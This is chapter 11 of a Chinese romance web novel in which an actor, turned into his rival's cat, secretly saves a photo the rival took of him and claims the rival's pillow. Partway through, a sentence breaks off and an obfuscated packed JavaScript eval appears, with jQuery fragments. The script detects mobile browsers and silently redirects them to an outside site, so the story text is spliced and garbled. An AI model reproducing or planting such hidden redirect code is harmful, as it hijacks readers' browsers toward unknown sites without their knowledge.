11. 第 11 章
作品:《变成死对头的猫后分化成o了!》 是走红毯那天。
这小子居然偷拍我!
陆聿宁盯着那身让他又气又恨的高定,想道。
他什么时候拍的?
照片的背景被大片大片的光晕遮挡,但依稀可以看出应该是晚宴的会场。
镜头似乎离他有些距离,不知道放大多少倍,又穿越了多少人群,才抓拍到这么一张。
不然以陆聿宁的性格,如果发现裴砚明目张胆地举着手机怼着自己的脸拍,翻个白眼都算轻的,更不要说露出这样心平气和的表情。
但是裴砚拍他干什么?想要知道自己发现他们穿了情侣高定是怎样的气愤反应吗?
陆聿宁的猫爪忿忿地在屏幕上戳了两下。
那还真是抱歉了哈,我这么云淡风轻。
但不得不说这张照片拍得很好,构图绝佳,光影完美,如果不是因为陆聿宁动作时糊了的上半身和被光晕模糊得快要看不清轮廓的五官,真让人以为是他的那个站姐精心挑选角度之后拍下的应援图。
陆聿宁本想把这张照片删除,可按在屏幕上的肉垫又犹豫了好一会——
怎么办,他有点喜欢。
说不上来是什么感觉,但在裴砚的镜头下,他呈现出了与粉丝或是其他摄影师的作品中截然不同的气质。
浴室里的水声淅淅沥沥,陆聿宁的尾巴在桌子边缘翘了又翘,再拖下去,要是被裴砚发现了自己又玩他的手机,还不知道要怎么整治自己。
于是,陆聿宁终于把心一横,小心翼翼地把这张照片发给了自己的微信,又在裴砚这里删除了聊天记录。
最后,才把这张照片送入了回收站。
做完这一切,陆聿宁把裴砚的手机推回原位,然后从岛台上轻巧跳下,一溜烟地窜回了猫窝里,假装什么事都没有发生过。
一分钟后,裴砚赤裸着上半身从浴室里出来,脖颈上的毛巾蹭着滴水的头发,陆聿宁从猫窝里探出头来的时候,正好瞥见一滴水珠从他的胸前滑过,褐色的□□被水润湿得亮晶晶一片,之后,那滴水珠继续描摹着腹肌的曲线没入裤腰。
可以说是非常色|情了。
陆聿宁不太自在地舔了舔唇,发出一声夹里夹气的“喵”。
要不是脸上的绒毛遮住了他的表情,他现在应该可以摆出一个洪世贤戏谑脸——你好骚啊.jpg
虽然是在家里,但也希望这位姓裴的可以守点A德。
裴砚用毛巾擦了擦自己的头发,拿起手机看了一眼,大概是没点进相册,所以没有发现陆聿宁做的好事。
只是突然被顶上来的陆聿宁的聊天框,让他疑惑地皱了皱眉。
发出去的消息还停留在昨天,陆聿宁依旧没有回复。裴砚蹙了蹙眉,似乎是不太高兴。
于是转过身就想找猫“撒气”,然而陆聿宁已经缩进了猫窝里,只留下一小截尾巴在外面勾人似的晃悠。
裴砚趿拉着拖鞋走上前去,看着白绒绒的猫若无其事地甩着尾巴,没有理会他的意思,也没有逃避他的意思。
心里不知怎么的突然生出了一个恶劣的念头,大脑还没反应过来的时候,手就率先推了出去,在陆聿宁毛茸茸的屁股上一推——
正在研究丑鱼玩偶里到底藏了什么东西的陆聿宁被吓了一跳,“嗷”的一声喊了出来。
下一刻,他猛地从猫窝里退出,脑袋到脖颈上的毛都被蹭得乱七八糟,他回过头,对上裴砚那张诡计得逞后有些得意的嘴脸,恶狠狠地瞪了他一下。
殊不知这副模样根本没有任何的杀伤力。
甚至让裴砚想到了互联网上一个挺有意思的梗。
陆聿宁瞅了一眼自己的屁股,发现裴砚没有继续的意思,刚才的那一下就只是心血来潮的恶作剧,张口骂了一声“幼稚”。
见他一脸无语地要走,裴砚感叹:“果然毛茸茸地走开了。”
陆聿宁脚下一顿,差点冲上前咬他。
还犹豫的功夫,裴砚就把他从地上一把捞了起来,挎着他进了卧室。
陆聿宁已经懒得挣扎了,反正也没用。
他被裴砚抱到了床上,耻辱地趴在对方的大腿上。
背上的手有一搭没一搭地顺着绒毛,陆聿宁抬头看了裴砚一眼,不知道他打开了那部剧的剧本,把自己当成了读剧本时的伴读玩偶。
收集黑料的心再次蠢蠢欲动。
虽然陆聿宁自觉自己不是那种心思狭隘的红眼病,但他在裴砚这里遭了这么多罪,不报复他一下,总觉得心里不够舒坦。
他一口气吹乱了被裴砚顺好的绒毛,在对方的垂眸打量中,挑衅般地看了回去——
然后果不其然地又被揉了脸。
很气。
陆聿宁打了个哈欠。
“回去睡觉吧,雪饼。”无情的裴砚用完他就开始翻脸不认人,手里的平板一关,作势就要把陆聿宁往床下放。
正被睡意缠得有些迷糊的陆聿宁一听到这话,气都不打一处来,当即就亮了爪子,死死勾着裴砚的大腿不放。
“喵嗷!”要睡你自己睡去,我才不要到猫窝里。
“不想走?”
陆聿宁抻着爪子在他的大腿上踩了两三下,然后往旁边一跳,找了个舒服的位置一倒,大剌剌地把四肢一张,瘫成了一块猫饼。
大有一种你别想赶走我的意思。
裴砚皱了皱眉。
他能够容忍猫上床,但还不太能接受和猫一起睡觉。
他俯身凑了过来,手指在陆聿宁的耳朵上轻飘飘地一揉,说道:“雪饼,回你的窝去睡。”
陆聿宁半睁开一只眼,嫌弃地蹬了他一脚:“喵喵!”
睡沙发去吧孩子,睡沙发吧。
裴砚:“……”
一人一猫僵持了好一会,最后裴砚实在拧不过,败下阵来。然而正当他躺好,准备闭上眼时,被被子罩住的陆聿宁蹭着身子探了出来,踩在了旁边的枕头上。
他在上面低着头转悠了一圈,似乎是嫌弃这个枕头不太舒服,半晌后,把目光挪向了裴砚的脑袋底下。
裴砚盯着他,没有说话。
陆聿宁也懒得请示,大摇大摆地跳了过去,后腿一撇,霸道地把裴砚的脸顶开,然后一屁股坐了上去。
裴砚:“……”
他生出了一丝想惩罚猫的念头,但看陆聿宁困顿地把脑袋搭在爪子上,眼皮沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618091|172237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉地一闭,顿时又把这些想法抛到了九霄云外。
“算了。”裴砚喃喃道,他总不可能和一只不懂事的猫计较。
裴砚老老实实地起身换了个位置,把自己的枕头留给了陆聿宁。
只是退让了一次,就会有第二次。
裴砚的这个觉睡得着实不太安稳。
他第一次知道猫也能有这样丰富多彩的梦境,睡到半夜的陆聿宁一分钟能换好几个姿势。
最开始只是从枕头上滑了下来,听到动静的裴砚还没当回事,直到被一个“飞踢”踹上了胳膊,裴砚才堪堪睁开眼,把猫往旁边挪了一下。
谁想,很快陆聿宁就刷拉一下地滚了过来,像一大团毛球似的撞进了他的胸口,尖利的爪子还轻轻地在他的领口一挠。
紧接着,后腿又像兔子一样蹬着,要把他推开。
虽然很可爱,但着实是有些消受不起了。
裴砚都在思考要不要拿块毯子把他卷起来。
好在陆聿宁闹够了,就四脚朝天地向上蹬着,再次睡安稳了。
裴砚第二天有工作,临走前准备了一些三文鱼放在餐桌的猫碗里,给陆聿宁吃自助。
雪饼到家第一个星期,乖巧得不同寻常,什么指令都听得懂,一点都不让人操心。裴砚一度以为自己捡了个猫精,可是这种省心的养猫生活没有持续多久,这只猫就大变了一副模样。
吃的挑,吃饭的地方也挑,喜怒哀乐来得又急又快,但去的也很快,和他记忆中的那个人倒是像了八分。
连裴砚自己想起来都觉得有些好笑。
可是今天是第三天了,陆聿宁还是没有回他的消息,平时再怎么说,还会发个不屑的表情包敷衍他。
难道是出了什么事?
“裴老师是觉得合同有什么问题吗?”
办公桌对面,《剑回》剧组的工作人员问道。
裴砚这才回过神来,牵扯着嘴角,抱歉地笑了一下:“不好意思,出神了。”
停顿了一下,他又问:“你们和陆聿宁联系过了吗?他知道我将和他一起出演吗?”
工作人员愣了一下,似乎没料到他会问到这个问题,但思及两人在网上的那些恩怨情仇、腥风血雨,他琢磨了好一会,都没找到一个合适的答案。
只能说道:“我们还在和陆老师的团队联系。”
裴砚压了压嘴角,脸上的情绪捉摸不定,不知道在想些什么。
签完合同后,他的经纪人蒋周行和对方寒暄了几句,确定了一些具体流程。
裴砚坐在椅子上,点着手机屏幕上迟迟没能得到回应的消息,在想要不要打个电话去骚扰一下对方。
“喏——”
视线中突然出现了一个飞机盒,蒋周行撑着办公桌,半倚着坐下:“前几天到的快递,你又买了什么东西寄到我这里?”
裴砚扫了一眼包装精良的盒子,回忆了一下,说:“应该是他的新专。”
而此时,好不容易等到裴砚出门的陆聿宁,正在猫窝里撕扯着猫薄荷玩偶。
突然,他莫名其妙地浑身一颤,打了个喷嚏。
“喵?”
是谁在骂他?